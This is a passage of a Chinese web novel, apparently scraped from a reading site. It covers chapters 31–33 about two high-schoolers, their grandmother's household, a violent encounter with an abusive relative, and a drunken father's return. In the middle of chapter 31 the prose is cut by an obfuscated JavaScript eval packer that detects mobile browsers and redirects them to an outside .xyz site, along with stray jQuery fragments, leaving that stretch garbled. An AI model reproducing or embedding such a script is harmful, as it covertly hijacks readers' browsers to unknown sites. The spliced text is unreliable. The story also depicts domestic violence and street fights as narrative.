骆乘光毫不示弱,勾起一边唇角,威胁道,“你敢挂外婆电话。” “是你的手机。我又没听见,也没说话。”骆远方也无辜地笑笑。 骆乘光和他对峙了两秒,忽然一个假动作,两人都神经紧绷,预备对方突袭。 骆远方笑道:“想干嘛?打架你还嫩点。” 然后就听见骆乘光喊:“江蔚云快上车,我们先回去告状!” 他说着把江蔚云抱上自行车后座,脚下一蹬,就往校门口狂骑而去。 “郑策快上来,我们追的上!”骆远方今天幼稚到底,也不甘示弱,扯了扯胸口的包带,盯着他们的方向蓄势待发。 于是郑策连忙缩手缩脚坐上了长板副驾。手抓紧板子两侧,紧张道:“你滑稳了,别摇摇晃晃的啊!” “你别动!我能掌握平衡!” “前面有个小石头!避开避开!!” “别动!” “嘭——” 人仰马翻。 骆远方怕郑策受伤的手又划破,在长板斜飞出去,两人依着惯性向前倒的时候,伸手一勾,把郑策圈在自己怀里滚了两圈。 背上碾过碎石渣,衣服很快便被地上的雨水给浸湿。 他感觉全身上下跟被打了一遍又泡在冷水里一样的酸疼,皱着眉再抬头去看骆乘光。 这没心没肺的已然绝尘而去。 “你手没事吧?” 骆远方去拉郑策。 刚碰到郑策,就感觉她浑身颤了颤,郑策嘴唇有些发白地看着他手背:“血……” 他再一低头,发现手上被划破了道口子。不疼,很浅,但血珠还是顺着伤口滚了出来。 这下还真是两道口子了……人果然不能乌鸦嘴。用感冒为借口去请假就一定会感冒一样诡异。 骆远方忙把手背到身后,结巴道:“你,你这回也忍忍。” 郑策额头上瞬间浸满了汗珠,她眼前发黑,胃里面在翻涌。 耳鸣不断,手脚瞬间都没了力气,不住地颤抖。 “……忍你大爷。” 她这幅样子把骆远方吓坏了,骆远方还想说什么,只见郑策翻了个白眼,双眼一闭就要倒下去,他急得连忙双手捧住郑策的脸。 “郑策?郑策!” -还能怎么办,等我自己醒过来就好。 还好刚才问了一嘴。 骆远方也没办法把她抗到医院去,手在膝弯下一揽,将她抱到旁边小公园的石椅上。 听着呼吸还算平稳,他轻柔地把郑策头上的虚汗擦了擦,就坐在她旁边,呆呆地等着。 像是守护公主的小矮人,不,小高个。 应该问问大概会晕多久的。 骆远方皱眉看了眼手上的划痕。 因为口子太小,已经结痂。 啧。 怎么这么脆,破点皮就流血,这下好了吧…… 闲来无事,他又拿出包里的DV四处拍拍。 不远处有个小水潭,水藻青苔爬满池底。 青绿色水面上架着一座木桥,桥上有个老爷爷把自己手机绑在四米长杆上,正在拍远处的夕阳。 骆远方想,那么高的视野下,也许能拍下落日熔金,飞鸟归林的场景吧。 旁边的草地上,数人驻足举着手机拍摄夕阳最美的一刻,天空喝醉了酒,晕染半边的绯红。 有小孩不知疲倦地来回奔跑,一个燕子形状风筝倏然腾空。 风从背后刮过,骆远方仰头去看那风筝,感受到前所未有的畅快。 他被眼前的场景惊艳住了。 如果没有刚才狼狈的翻滚,还有小郑同学的牺牲,可能今天就错过了吧。 余晖洒在他们身上,带着春日迟来的暖意。 骆远方低头看了眼身边似乎熟睡的郑策,呼吸均匀轻微起伏。 他忽然想到睡美人的故事。 如果现在亲一下,会醒么? 身边的人动了动,骆远方能感受到郑策一脸迷离地望着自己。 不忍心打扰眼前的美好,骆远方没看她,小声道: “嘘。” 他将一根手指比划在嘴前,招手示意郑策过来看DV的屏幕。 “嗯?” 郑策声音里带着不解,还是听话地凑过头来。 骆远方盯着屏幕里,非常自然地牵着她的手臂往这边带了一下。 他发誓,自己只是想分享特别壮丽的火烧云,还有远处隐隐约约的彩虹。 但握上郑策的手时,滑嫩的触感和高于自己的体温让他心尖一颤。 郑策眯着眼睛,迷迷糊糊中不自觉轻嗯了声,将头凑在屏幕面前,短发扫在他脸上,带着甜甜奶香。 骆远方注意力已经完全不在屏幕上了。 他咽着喉咙收回手,顺带拉了下上衣下摆。 遮住下面略微隆起的小帐篷。 真是春天到了呢。 多大了人了都。 怎么就他妈的说硬就硬了呢。 31. Family 两个人一身泥泞回去的时候,吓得骆乘光蹭地站起来,警惕地看着门口。 骆远方二话不说先去了厕所。 骆淇对此已经不想说话,放弃治疗地摆摆手示意两人先去洗澡。 吃完饭后,骆淇和郑策倒在沙发上,她才问了一句:“手上的伤怎么弄的?” 郑策早知道会有这么一问,坦白道:“去帮姨妈照顾韩俊生,和他爹打了一架。” “嗯。” 骆淇并没有表示意外,又说,“他们家,以后还是少去吧。韩忠夏好赌,又抽烟喝酒不断,宋熙这辈子怕是搭里面了。” “知道。”郑策叹了口气。 今天都闹到别人家里面去了,韩忠夏不会咽得下这口气,以后还是躲着点为好。 “知道还苦着个脸?”骆淇稍微起身看她。 “担心他们爸爸回来了没地儿去?” “没有没有。” 郑策心里一惊,看向骆淇,“他回来理应是住……” “理应什么理应?那个混蛋你以为会安心生活?” 骆淇疾声打断她,“我跟你签了合同,我不会让你走的。” 郑策心底漫过一股暖流,但她迷糊了:“……我们什么时候签……” “哎——” 骆淇咚地又倒回沙发,不管郑策什么表情,满足地叹了口气,“真皮沙发就是舒服啊!” “就两百块的沙发,还真皮,假皮都不好意思卖。” 骆远方在厨房切了水果端出来,在上面插好了牙签。 “你自己看吊牌,上面是不是写的真皮沙发?” 骆淇哼笑一声,非常鄙夷地看了骆远方一眼。 “手上戴个假表的人就不要到处打假了。” 这个牌子的名字就叫真皮沙发,她买的时候专门看过的。 睡前,骆乘光又鬼鬼祟祟拉着郑策要说悄悄话,郑策一下就猜中他的想法,让他不用多说。 说她不会多想的,会带着江蔚云在这里好好住下。 骆乘光尴尬了下,郑重地点点头,脸上已经漫过薄薄一层粉红。 第二天骆淇组织两位孙子去扫墓,严词表示每年清明不能改变这个习惯。 因为她希望以后自己埋在那儿的时候,也有人来陪。 郑策和江蔚云立场不明,没叫上她们,她们索性睡懒觉。 但三个人回来得很早,郑策和江蔚云两人并排着盘腿坐在茶几边,作业刚翻开就回了。 于是不一会儿茶几四条边各坐了一个人,顶着斗地主的方阵排布写作业。 郑策拿着骆远方买的阅读卡一行一行地看,越看越困,于是手里转的笔唰地就飞了出去。 骆远方刚把手边一直视若珍宝的磁带盒打开,就被飞出去的笔精准一敲,关了回去。 “我靠?”他惊疑着抬头看对面的人。 “对不起。”郑策也呆了。 “我看见了。”骆乘光抬头小声说,“盒子里的东西。” “一个蜘蛛。”江蔚云同样看着骆远方用气声说。 说完嘴型还保持着嘟嘟嘴的样子,瞪大眼睛。 下一刻,三个人都往后挪了半个屁股,后仰着注视桌上那张周杰伦的磁带。 “我之前出去在山上遇见的,一直跟着我,差点放在包里夹死。” 骆远方不以为意地打开盒子,喂了那蜘蛛什么东西。 骆乘光又趴回桌上轻声道:“有说法说蜘蛛是死去的亲人回来看你的载体。” 他不可置信地瞪着骆远方,低声吼道:“你把咱妈豢养起来了!” “啧,看的什么东西。” 骆远方一脸不耐看他,下巴抬了抬,“你们作业都做完了?” 虽然他第一次在云南看见这蜘蛛就感觉有些亲切,但听起来太傻逼,他不会实话说的。 当时早上在帐篷里刚睁开眼,这蜘蛛就吊在自己鼻子上面,吓得他猛出一口气,蜘蛛受到刺激,又跟溜溜球一样立马缩了回去。 反复几次,骆远方觉得挺有趣,就随手拿了张磁带盒收了它。 领队说这蜘蛛很奇怪,不属于这里的山林,能不能活下去都成问题。 不知道是因为听说没有毒,还是骆乘光说的故事他其实早就听说。骆远方便一直随身带着这只蜘蛛。 “干嘛呢,干嘛呢。” 骆淇拿着个苍蝇拍,在四个人头上打地鼠一样,一人来了一板子。 “干嘛呢,干嘛呢。让你们写作业,不是聊天的。” “我写完了。”骆远方不在意地把书一合,就要起身。 “你都写完了?” 郑策不可思议看着他,加重了“都”字。 甚至有些怀疑这人是不是白天玩得最嗨,晚上偷摸学习那类贱人。 这次的作业尤其还有些难度,郑策又问: “你都会?” “怎么可能。” 骆远方一副你在说梦话的表情。 “不会就空着呗,有什么难的。” 所以他的作业本几乎都是空的。但骆学渣不在意就是了。 “写完了?”骆淇更不在意是真是假。 “那正好,给我们买奶茶去,想喝奶茶了。” “我……” 骆远方一口气堵在胸口,顿了顿,认命道:“我就是这个家的牛马,牛马!” “你当然是,不用客气。” 骆淇笑着招呼,“偷懒好几个月了,回来该做的东西继续干啊!” 回应她的是一声巨大的关门声。 奶茶店不远,骆远方没一会儿就回来了,把三杯不同口味的放桌上让他们选,还有一杯单独放在一旁。 郑策好奇地去看单独那一杯,骆淇连忙阻止她。 “那是骆远方的,你喝不了,这人每次多加糖,跟空口吃蜂蜜一样,腻死个人。” “有一杯加了炼乳。” 骆远方不经意道,然后进屋里拿了件衣服出来。 衣服是半成品,下摆处一朵红梅还未完工,插着一根银针。 丝绸质地,颜色是骆淇平日里喜欢的淡黄色,但这件更新,更亮。 郑策只犹豫了一瞬,就转头去看骆淇。骆淇读懂郑策的眼神,不在意地笑着对她点点头。 “是给我做的寿衣,这家伙花样画得美。手灵巧,绣的花也好看。” 这位老太太再一次刷新了她在郑策眼中的形象。 知道她追逐潮流,坚守自我,不在乎别人的看法,活得洒脱又浪漫。 但这还是郑策第一次,看一个人给自己准备过世后的东西。 骆淇笑着摸了摸那布料,“我还就喜欢以前这种手工做的衣服,不想死了还要穿着工厂里如出一辙的东西。” “摸着很舒服。” 郑策也碰了碰那衣裳,丝绸质地本就冰凉,在冬日里拿出来,更像一块柔软的铁。 以最轻缓的方式告诉她这个世界上最淳朴的道理。 人终有一别。 骆远方沉默地捏着针头,在布料上来回穿梭,神情认真又虔诚。 呼吸极轻,像是在完成一件神圣的工作。 察觉到郑策的眼神,他抬头看了眼她,淡淡道:“想补你的棉衣和江蔚云的小书包,就快点拿出来。” 不用两个字还没说出口,就看见骆远方从旁边的纸袋里取出两片补衣服用的卡通补丁。 这是……早就准备好了? “快去啊,愣着干嘛?” 骆淇推她,“骆师傅可是我们这儿头牌,手工细得没法儿。过了这村就没这店了!” “江蔚云的书包我替她补好了。”郑策愣愣地起身。 此时脚边窜过一阵疾风,江蔚云已经冲进卧室把自己的小书包取了出来,当着所有人的面轻轻一扯,补书包的棉线松松垮垮地掉了下来。 “小姨妈,你补的太丑了。”江蔚云难为情道。 所以郑策才没补自己的衣服…… 丢脸让小江同学一人丢就好了。 骆远方闷声笑了起来。 楼下传来铁棒碰撞的声音,紧跟着一声嘹亮的高吼。 磨剪子嘞,戗菜刀—— 然后是电子男声平淡地重复:“回收旧手机、旧电脑,旧冰箱,旧洗衣机,微波炉……” 收废品的也又开始一整天的征途。 看着骆远方不停缝缝补补,郑策有些入神。 世界似乎逐渐热闹起来,不一会儿楼下又来了卖麻糖的,卖小王钵钵鸡的。嘴里喊着洗脑的广告,不时往居民楼上瞅。 偶尔会有一两家馋了嘴,从窗边伸出半个身子喊:“卖钵钵鸡的,停一下!” 她看见骆远方唇角轻勾了勾。 过了一会儿,江蔚云最后一个磨蹭着把作业做完,打开电视就开始和肥皂剧里的人吵嘴。 当小小的江蔚云嘴里冒出“女人,你是在玩火”的时候。 眼看着电视屏幕上两个大头特写就要啃在一起,郑策毫不留情换了个台。 看的什么玩意儿…… “看少儿频道,银河剧场重播,这个好看,神兵小将。” 郑策已经给她安排好了。 室内有人在吵闹,室外有景在喧哗,郑策的心却忽然平静如水。 这一刻比任何时候都让她感到安宁。 一听放动画片,骆淇忙把老花镜找了出来戴上,就听见骆乘光在屋里喊:“外婆!我袜子呢!” “在我这儿你来拿。”骆淇盯着电视不想理他。 没想到这家伙真就直接矗在她面前,扫了一圈问:“在哪儿?” 骆淇从镜片上面翻着白眼看骆乘光,深吸了一口气,咬着牙拿起沙发上靠垫就往他身上招呼。 “哎哟,几岁的人了,袜子不知道穿,冻着了又找不到。我看你以后是大富大贵的命,就等着人来照顾你吧……” 骆淇一边说,一边腾地站起,把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16123063|175302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骆乘光往屋子里赶,“我进去找到了,你今天就等着挨削!” 郑策只听见骆乘光笑着和骆淇打闹,关门前问了句:“诶你什么时候换了副老花镜。” 郑策笑着摇摇头,视线落回电视屏幕。 上面正在放公益广告,family的英文,每个字母都是一个成员,活灵活现。 “你没事乱说什么?”骆淇关上门,严肃道。 “我说什么了?”骆乘光很无奈。 “平时也不见得你这么关心我,怎么换一副眼镜这么快就发现了。” “这也不行?”骆乘光愁眉苦脸,想请苍天辨忠奸。 骆淇扯过他的耳朵小声说:“郑策在她姨父家就是因为丢了个金佛,她刚在我们家还没住稳,你又嚷嚷着丢了东西,让别人怎么想!” “我丢个袜子也算不到她头上吧。”骆乘光也皱着眉小声试探。 “所以你老花镜丢了?” “不是什么大事,这款式我更喜欢。”骆淇在柜子里翻找了阵,直起身。 “偷一双你哥的穿,他有新的。以后给老子记住了。” 然后狗头军师双手负背,镇定自若走出了房间。 欢乐的气氛一直持续到晚上,骆淇大手一拍,决定全家都出摊卖烧烤。 安城北在家里闲出屁来,一嗅到这个消息,立马顺着地沟缝儿就爬了过来。 他和江蔚云同学一见如故,两个傻逼一样地握着手,不断点头:“你好你好你好尿尿尿尿尿尿……” 随后安城北又拿着装着蒜水的尖叫瓶子在地上画了个爱心,对骆远方用台湾腔发情: “为了见你,我偷了辆单车,被警察蜀黍抓住了,让我老实点别动。我就没动。因为我记得,你,选老实人~” 他说着暧昧地朝骆远方抛了个媚眼。 “哎哟我去。” 骆淇满脸难受地把烤好的羊肉串递给骆远方。 “没客人来,你们先吃吧。先把暴发户的嘴堵上。” 她下巴朝安城北抬了抬。 安城北笑嘻嘻已经准备好迎接肉串。 但骆远方先跳过他给了旁边的郑策,郑策又递给骆乘光。 安城北凝固了一瞬,又去接,骆远方还是给了郑策。 郑策给了江蔚云。 “哎呀,我算是看明白了。” 他瞪着骆远方,“你同桌不吃,我就不能吃是吧!” “昂。” 骆远方看了他一眼,又递给郑策一根,“你老实,我就爱欺负老实人。” 骆淇在一旁也打趣道:“这可是趁几百万的主,咱得巴结好了,远方。” 趁几百万的主终于拿到肉串,满意地咬了一口,顿时蹦了起来。 “奶奶,你放了多少辣椒啊,我感觉这羊肉在嘴里打我!” “你不是平时最爱吃泡鸡爪么?赏你的。”骆远方笑着给他递水。 一看就是这家伙的杰作。 “这是什么新潮流吗?” 安城北看着他伸过来的手,一把撸起袖子,斯哈斯哈着说:“手表样式挺新啊!” “滚你的蛋!”骆远方笑着回击。 安城北的到来像是在暴风雪的木屋里打开一扇门,外面轰然间天塌地陷,里面却安全又温馨。 对比着外面的喧闹和灾害,显得这里更加无害。 郑策对骆远方的手腕一直心有愧疚,毕竟是为了哄江蔚云。 这都不知道被人嘲笑几回了。 她在旁边商店里买了卸妆油,刚把卸妆油递给骆远方,忽然愣住。 不远处有一对夫妻在吵架。 大街上,女的一边哭闹一边往男的身上招呼,有点泼妇骂街的架势。 女方叫喊了两句,就往烧烤摊这边走来。 而那男的拽住女人的手臂,当街给了女人侧脸一巴掌。 非常响。 这边烧烤摊上几个人都站了起来。 郑策更是感觉浑身被冻结了,大气不敢出。 因为那是宋熙和韩忠夏。 他们貌似还要过来。 在她意识里,宋熙家所有关于她的不堪都只发生在那栋房子里。 而骆家把她从那里拉了出来,让她远离他们。 今天本来是十分完美的一天,像广告里的family一样,她难得体会到了家的温情。 却在黑夜降临前,似乎给她开了个玩笑。 嘭的一声打破两个世界的结界。 她以为再也不见的那些恶臭和糟心事不仅重新出现在她眼前。 还出现在她如今珍爱的家人朋友身边。 真他妈操了。 “谢谢。” 骆远方小心看了眼她的神色,接过那瓶卸妆油,也转头看着朝他们走来的两人。 他捏了捏郑策肩膀,沉声道: “不要怕,我们都在这儿。” 他再次看过去的眼神里似闪过寒芒。 32. 我和他们能一样么? “小策啊,今天我也没去看姐姐。”宋熙踉跄着挣脱韩忠夏,小跑过来。 “这点钱……” 她刚伸出去的手就被韩忠夏给扭了回去。 因为疼痛宋熙手里的钞票都变了形。 韩忠夏怒吼道:“你个吃里扒外的东西,还想着送钱出去……” 回来之后,郑策从没见过宋熙这幅样子。 像案板上奋力反抗的羔羊,却只是在挣扎的时候,除了蹄子踢得响,半点作用没有。 “你干什么呢!” 郑策忍不住替她不平道,“你们的钱我不要,你当街打老婆算个狗屎啊。” “这是我老婆,管你妈的屁事!”韩忠夏腾出一只手指她。 “上回来我家闹事的事,老子还没跟你算呢!” 几个人都站着没动,郑策也不想惹一身骚,捏紧拳头站着看两人。 眼看着两人扭打撕扯着靠近,就要碰上烧烤架,骆乘光上前想要拦着,却忽然间被韩忠夏胡乱挥舞的手给扇了一巴掌。 “啪”。 一声脆响,他楞在原地。 韩忠夏常年不讲卫生,指甲留的八丈长,这一巴掌再一扣,在骆乘光人中的位置直接扣下一层皮。 没有流血,但皮下粉嫩的肉立马暴露在空中。 郑策脑子里一炸,第一反应是骆乘光他妈的还要参加比赛呢! 她先是习惯性在兜里摸,却掏了个空。才惊觉自从住进骆家后,包里很久都没放刀了。 于是郑策弯腰拾起烧烤摊边的木棍,握在手里转了两圈适应重量,慢腾腾朝两人走去。 每一步走得又轻又稳,但郑策浑身的戾气终于让纠缠在一起的两人都楞了下。 “不要弄死了。” 骆远方在身后双手揣兜,一脸阴沉,轻飘飘道。 韩忠夏喝了酒,听见这话,露出一脸痞笑,“凭你?” 郑策看着他,“凭我。” “记得上回我教你的。” 骆远方撕开一根棒棒糖外包装,再抬头说。 “出手要准,看清楚再打。避开内脏。” 郑策把宋熙推开,余光扫到她脸上的伤,对着韩忠夏的脸就是一拳。 “别在这里闹,出去。” 韩忠夏啐了一口带血的痰,惊讶这姑娘出手这么狠辣。 “凭什么,老子爱在哪儿在哪儿!” 郑策皱着眉上前就想把他拉远些。 骆远方见状犹豫着踩了踩面前的地面,想上前帮忙。 但太黑了,他看不清。 “哎哟她是想把人拉到哪儿去啊!”骆淇也看出郑策的用意,着急道。 “哎哟你还添什么乱!” 骆淇一把拦住攥了个木棍在手里的骆远方,转身又让安城北快去隔壁街的金店里叫人。 安城北虽然害怕周全那几个人,但看见郑策一脸凶恶的样子,咬了咬牙就往外跑。 赤手空拳的郑策不一定是韩忠夏一个成年男性的对手。但手里拿着棍子就不一样了,毕竟骆远方还叫她一声猴哥呢。 棍儿耍得那叫相当溜。 骆远方有些着急,他不知道郑策脑子里哪根筋搭错了,非要把人带走。 带走后谁给她撑腰? 骆乘光要护着摊位和骆淇,他现在废人一个,就安城北也不在。 “郑策!” 他情急之下大喊。 幸好,安城北的救兵到了。 巷口优哉游哉站了几个人影,个个肩宽腿长,气势不凡。 他们逆着光,看不清神态,脚下烟尘四起,一看就是跑过来的,胸口微微起伏,现在一个比一个装得还要淡定。 周全他们手里都攥着家伙什,骆远方心想一下子来这么多人对付他,还真是便宜韩忠夏了。 “喂。” 郑策听出这是周全的声音,带着不屑的笑意。 “想给医院送钱呢?这么大方,旁边丧葬一条龙服务要不要给你包一个?” 宋熙见着这阵仗,顿时慌了,伸手去拉韩忠夏。 韩忠夏虽然酒精冲了脑子,但此时还残存的一丝理智告诉他,不能再打下去。 有着旁边几个天兵天将镇场子,这里瞬间变得和谐有序起来。 宋熙趁此机会又想把钱塞给郑策。 郑策看了眼,并不多,几百块,就像她说的,一点心意而已。 可能是怕妈妈在清明节回魂来找她,挑这个时间做做样子吧。 郑策看着宋熙没动。 还没来得及回绝,韩忠夏的手又不容置疑控制住宋熙。 “我再最后说一次。今天的事,你最好给一个交代。你说,我就听,不说实话,那就这样都完蛋。” 他说完一瘸一拐地往出口走去。走到周全他们面前时,被拦住。几个人流氓般地推搡了下他,便笑呵呵地把韩忠夏放走了。 韩忠夏这话的意思很明确。看似是希望好好沟通,通情达理。实则不过是再普遍不过的冷暴力,把所有责任和解释都推给宋熙,冷漠地看着她一人挣扎。 “我……” 宋熙闭着眼睛叹了口气,缓缓道:“今天有点想我姐了。” 她抬头看着郑策勉强笑了笑,“除了她,也就你还在管我。这钱……” “我之前就说过,我不需要。”郑策把钱塞回去。 宋熙也不知道今天这场疯,是发给谁看的。 反正两边都讨不着好。 她闭上眼睛,扯着嘴角叹了口气,认命地点点头,也转身慢吞吞地走了。 郑策扭着眉看她的背影,竟有些佝偻。 韩忠夏对她长年累月的语言暴力,身体暴力,一句接一句,一个伤疤接一个伤疤,越积越多,越压越沉。 压得她挺不起腰来。 宋熙已经出于习惯,接受在这个家里的地位,接受韩忠夏暴脾气却依旧会想着赚钱养家的行为,接受日覆一日的麻木。 可能在郑策回来那段日子,她忽然睁开了眼睛。 却被强光刺得又闭了回去。 面对这些暴力和屈辱,她不敢开口,不能开口,也逐渐不愿开口。 她已经彻底属于黑暗。 “这段日子要小心。”骆远方忽然对郑策说。 “还记得我说的么。这种人打不死就不会改,别让他记恨太深,跟狗皮膏药一样黏上就甩不掉了。” “嗯。”郑策看着漆黑的巷口,逐渐捏紧了拳头。 清明收假第一天的早上,班级里不出意外的热闹。 一年到头可能就收假的早晨和期末的前一天,这个班级能有种刻苦用功的假象。 最近学校旁边新开了家拔丝蛋糕店,很受欢迎,好几个人都买了一盒。 带到班里来,被八国联军一瓜分,狂风卷集落叶般瞬间消亡。 骆远方和郑策的作业早在放假第二天就做完了。 安城北一脸悲愤地补作业,时不时回头瞪他们两眼,除了自取其辱外,毫无杀伤力。 “来……好……好了啊……” 柯言一进教室就说了一堆废话。 也不知道来什么,好什么,像是在哄她自己上班一样。 她耷拉着眼皮扫了一圈奋笔疾书的人群,忽然噗嗤一声。 非常幸灾乐祸。 柯言又正色道: “第一节是语文课,不知道同学们的语文作业写完了没有呢……我们先评讲作业,安城北你说一下第一题你选的什么。” 语气自然,温和可亲,但每一句话都戳在九班同学的肺管子上。 尤其是还在忙忙碌碌寻作业的安城北,忽然被点名,感觉天都要塌了。 他拿出一篇数学小练习,假意振作道:“老,老师,我选的A。” 教室里炸开一片笑声。 “……你选的A是吧?” 柯言推了推鼻梁上的眼睛,目光精亮地看着他,“你念念A选项是什么……” 安城北正要开口,她又补充了句,“在这道文言文翻译题里。” “我,我翻译的是……” 不知道安城北哪儿来的勇气,还打算誓死一搏。 但错题千万不能反复看,他现在脑子里第一时间冒出来的便是周烈王崩溃,诸侯上吊。 柯言忽然一拍桌面,怒道:“语文就是第一节课,你们补作业都不屑于先看看!还吃什么拔丝蛋糕,我看你们脑袋里装的都是稀饭,能拔点丝都谢天谢地了!” 于是安城北在教室后面站了一节课。 开学第一天是这样的。 不论假期是好是坏,忽然安静地坐在书桌面前,有种被世界抛弃了的绝妙死感。 但也能在读书声中将彼此之间的差距缩到最小,起码在这间教室里是这样。 不只是九班,整个九中这一天都笼罩在惨淡的阴云里。 于是柯言在下午的时候临时做了个响天震地的,堪比造.反的冒险决定。 既然学不进去,她决定带着一整个班去旁边的人民公园里体验户外教学,享受春色的同时,好好让这群小崽子收收心。 班级里一阵欢呼,恨不得抱着柯言亲上几口。 午后公园的草坪上流露出难得的安详,迎春花已热烈地绽放。金辉铺洒一地,亮晶晶的草尖上是早晨还未干透的露珠。 一群人来到这里,跟蝗虫过境般,瞬间就将所有的安宁给搅得稀巴烂。 “雅拉索——”忽然旁边传来刺耳的音响噪音。 再看过去,不知道什么时候来了个老头,扛着一个音箱和话筒,往草坪上一站。 话筒架上贴着“高个儿老邢在此练歌”,就开始对着手机声情并茂地演唱。 非常自得且傲慢。 “这个爷爷好帅啊!” 有同学赞道。 “回去给我爸也整一个哈哈哈!” 谈话间,他们那这边也传来了音响电流的噪音,柯言拍了拍话筒,所有人都有不好的预感。 “我们也能帅啊,来,有没有人愿意献唱一首的?” 所有人都埋头不敢说话。 这多尴尬。 而这短短一会儿,草坪四面八方又响起几声嘹亮的嗓子。 看来这儿还是个网红胜地。 “哎哟在学校里也死气沉沉,带你们出来也死气沉沉。” 柯言不满道,“没人唱歌我们就直接进入正题,把岳阳楼记给背了。” 她说着凑近手机,在上面点了点,接着把手机扩音器放在话筒边,顿时节奏强健有力的DJ版音乐响彻方圆。 柯言邪魅一笑,对他们说: “怕 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“用油洗果然有用,谢了。” 骆远方伸手在她面前晃了晃,他顿了下又说。 “昨晚,你……想把人带去哪儿?” 郑策转过头看他一眼,不以为意道:“随便去哪儿,不想让他给你们惹上麻烦。” “你呢?你也不想跟我们扯上关系?”骆远方冷冷地看着她。 想起昨晚郑策打算一个人解决这件事,连忙和他们划清界限的样子,就让他心里难受。 “我没有。”郑策拧着眉道,“你怎么……” 她话还没说完,话筒那边一清亮嗓门就喊。 “骆远方,来一首。骆远方,来一首……” 安城北伸长两只手臂控场,“哎,不是我吹牛。我骆哥,被体训耽误了的歌手!” 人群又开始起哄。 “想听我唱歌么?” 一片嘈杂声中,骆远方看着郑策,用只有他们两人能听见的声音问。 “那我就鉴赏鉴赏骆歌手的才华了。” 郑策笑着朝他一摆手,做了个请的姿势。 少侠请开始你的表演。 骆远方大方地起身,起哄声立马又拔高了几分。 安城北果然没有说错,骆远方一上去,立马显得前面那几位的抛砖引玉不是谦辞。 他唱了一首很缓的调子,声音醇厚低沉,像经年累月的酒,悠扬清朗。 一时让草地里跟菜市场一样的氛围都柔和了几分。 所有人,尤其是女生,都眨着星星眼陶醉地望着他。 一曲毕,掌声雷动。 旁边不知何时驻足的路人拿着手机走上来要他的微信。 柯言顿时对着那个无辜小姑娘火冒三丈,跳脚道:“他还是个高中生!高中生!不能早恋!” 于是骆远方没费一点劲,就由柯经纪人打发走了一众迷妹。 郑策看得有趣,没注意到旁边走来一男生。 白衬衫,浅蓝色牛仔裤,年纪与他们相仿,大概是大一大二的学生。 男生举着手机问:“同学你好漂亮,我们能合照一张吗?” 郑策没应付过这么直白的搭讪,笑容凝固在脸上。 她想了想,其实拍张照,好像也不会少一坨肉,不如就…… 她正要点头。 “不行,我们班主任会打你。”骆远方不知何时走到身边,冷冷道。 男生惊讶地看了眼刚才唱歌的骆远方,又看了眼郑策,露出一个善解人意的微笑: “好的,那打扰了。” “你现在不讲法律维权了?肖像权懂不懂?” 骆远方坐在她旁边有些不爽。 “人脸识别越来越先进,瞳孔是很重要的信息,不能随便给别人拍。” “我告肖像权,你才是最大侵权人吧,你DV里有多少我的视频?” “我能一样么?”骆远方瞪她。 “你是不一样。” 郑策笑着转过头去,抱着膝盖看话筒前又准备献唱一首的人。 骆远方听见这话楞了瞬,心里忽然酥酥麻麻的,跳动速度都加快了几分。 草长莺飞,杨柳抽条,春江水暖,他的心跟着倏然腾空的风筝,一下子投入那大片的蓝色,没有了着落。 哪里不一样? “哪里都一样!你以为老子爱在这里呆着?” 放学回去后,两人在门口听见一声野蛮的低吼,同时僵在原地。 骆淇怕打扰几人的学习,几乎不带她的朋友来家里。 更何况这声音是个中年男人的嗓子,无赖又粗蛮。 郑策有些紧张地看向骆远方。 骆远方凝固了片刻,转动钥匙打开那扇门。 平日里风一吹就要倒的破门在此时却似有千斤重。 鞋柜旁多了一双男人的鞋。 骆远方慢慢抬起视线,就看见沙发上坐着的那个男人转过头看向这边。 男人一身酒气,一只脚踩在沙发上,伸长手臂搭着沙发靠背。 看见他时也楞了下,随即脸上露出无赖的笑容。 “我的败家大儿子回来了。” 33. 打亲爹打红了眼 骆远方站在门口没动。 他个子高,几乎将郑策挡了个严严实实,以一种保护性姿态站在原地和郑案对峙。 垂在两边的手不自觉纂成了拳头,又放开。 郑策也不打算催他,站在他身后没动。 “你喝酒了?”骆远方尽量保持镇定进屋换鞋。 郑案仰着头灌了一口,长叹一声,“想死这口了。” 余光里看见骆远方身后的郑策,他挑了挑眉,邪笑道:“你女人?都带家来了。” “骆淇的租客。她住这儿,你没房间住。”骆远方淡淡看了他一眼。 “叔叔好。”郑策礼貌性向郑案颔首。 “嗯。”郑案的目光肆无忌惮在郑策身上打量,让她有些不自在。 郑案哼笑了笑,“睡沙发呗,牢里都睡过,我还挑什么。” “喝点水解酒。”骆远方挡住他的视线,将一纸杯怼到郑案鼻尖。 “还是这么贴心。” 郑案冷哼着看他一眼,皮笑肉不笑地接过纸杯,“听说你辍学了?当初就身体抗造才走的体育,现在又复读普通班,还真是让我惊喜啊。” 骆远方冷道:“你能入狱也挺让我惊喜的。” 眼看气氛不对,郑策悄无声息往房间了里面走,临关门时却听见郑案不在意地倒回沙发上,说: “那倒是,上梁不正下梁歪嘛。还好老子出来了,前阵子又进去个傻逼,放个高利贷放出一身伤,还哭着求我罩他……” 他冷笑一声,“就那个怂逼,家里都有人送钱来,你们呢!” 郑策关门的手顿了下,轻轻压下门把手,合上木门。 这个郑案虽然看着二不挂五的样子,但好像还挺容易说话,和骆淇骆乘光打过照面后,就出去找他狐朋狗友吃酒去了。 似乎他回来只是象征性露个面,这个家对他而言可有可无,当然他也是。 接下来一周里,郑案只露了两次面,两次都喝得烂醉,倒在沙发上宛若死人。 然后门口就会有打探到风声的人来蹲他,每回都不欢而散。 骆淇究竟心软,没赶他出去,但态度是一天比一天不好了。 骆家似乎保持着时刻警戒的氛围。骆远方把摩托藏在了周全那里,家里面也是难得的简洁,只要哪儿被人动过了,随便就能看出来。 一放学,骆远方必定会站在出校门后的转角等郑策,骆乘光每天也会把江蔚云牵回来。 只要不在意家里偶尔多出的酒臭味儿,还有沙发上那个酒鬼的嘟囔。似乎一切都没怎么改变。 坐在教室座位上再往外望,树杈已铺了满框的绿意,亭亭华盖,蓬勃且盛大。 让人错觉在春日里,生长是迅速且不会限定方向的。 